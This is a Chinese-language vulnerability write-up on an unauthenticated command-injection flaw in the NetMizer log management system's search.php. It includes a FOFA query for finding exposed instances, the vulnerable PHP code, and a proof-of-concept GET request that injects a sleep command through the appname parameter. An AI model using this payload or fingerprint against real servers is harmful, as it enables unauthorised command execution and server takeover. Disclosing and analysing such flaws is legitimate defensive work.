NetMizer日志管理系统 search.php 命令执行漏洞


漏洞简介

NetMizer日志管理系统是一款专为网络流量管理和优化设计的日志记录与分析工具,能够高效采集、存储和分析网络设备及应用的日志数据。然而,该系统中的 /data/search/search.php 文件存在命令执行漏洞。未经身份验证的攻击者可以通过该漏洞在服务器端任意执行命令,写入后门程序,获取服务器权限,进而控制整个Web服务器。

影响版本

老旧版本

fofa语法

body="日志管理系统" && body="NetMizer"

漏洞分析

看下 search.php 业务实现关键逻辑部分

else if($action == 'addtask'){
    $search_root = "/var/www/$path";
    ......
if($path == 'search') $appname = 'search';
else if($path == 'url') $appname = 'search_url';
else if($path == 'https') $appname = 'search_https';
else if($path == 'host_search') $appname = 'search_host';
else if($path == 'dst_search') $appname = 'dst_search';
$cmd_root = "/var/www/cgi-bin/$appname";
......
if(is_dir($search_root) == false) mkdir($search_root);
if(!isset($now)) $now = time();
$filename = $search_root."/".$now.".cfg";
$fp = fopen($filename, "w");
if($fp) {
    fputs($fp, $str);
    fclose($fp);
    chdir("/var/www/cgi-bin/");
    $cmd = $cmd_root." -t -i $now > /dev/null &";
    //$cmd = $cmd_root." -t -v -i $now > /tmp/aa1.txt &";
    @exec($cmd);
}
echo '{"success":true}';
return;

当 $action = 'addtask' 时,用户可控参数 $appname (变量覆盖)直接用于构建命令行字符串 $cmd,并通过 exec($cmd) 执行。该参数未经过充分过滤或转义,造成命令注入漏洞。

同样当 $action = 'showtask' 时,也存在同样的命令注入漏洞

else if($action == 'showtask'){
    if($csv) $arr_proto = getcontentdesc(0);
    else $arr_proto = getcontentdesc();

    $curid = $page;
    $linenum = $limit;

    if($path == 'search') $appname = 'search';
    else if($path == 'url') $appname = 'search_url';
    else if($path == 'https') $appname = 'search_https';
    else if($path == 'host_search') $appname = 'search_host';
    else if($path == 'dst_search') $appname = 'dst_search';
    $cmd_root = "/var/www/cgi-bin/$appname";
    $cmd = $cmd_root." -i ".intval($id)." -p ";

    chdir("/var/www/html/");
    if(!$csv){
       $total = gettotal(intval($id), $path);
       if($total == 0){
          $fp=@popen($cmd, "r");
          $line=fgets($fp,256);
          if(substr($line, 0, 5)=="Error") {
             @pclose($fp);
             return $line;
          }
          while($line=fgets($fp,2048)){
             $total++;
          }
          @pclose($fp);
       }
       $startline = ($curid-1)*$linenum;
       $endline = $curid*$linenum;
       $cmd .= " -s $startline -e $endline";
    }
    $fp=@popen($cmd, "r");

漏洞复现

漏洞利用示例

GET /data/search/search.php?action=addtask&appname=search;sleep+3+%23 HTTP/1.1
Host: netmizer.mrxn.net

成功执行 延时 3 秒


手机扫码阅读

NetMizer日志管理系统 weibo.php 命令执行漏洞

NetMizer日志管理系统 qq.php 命令执行漏洞

评 论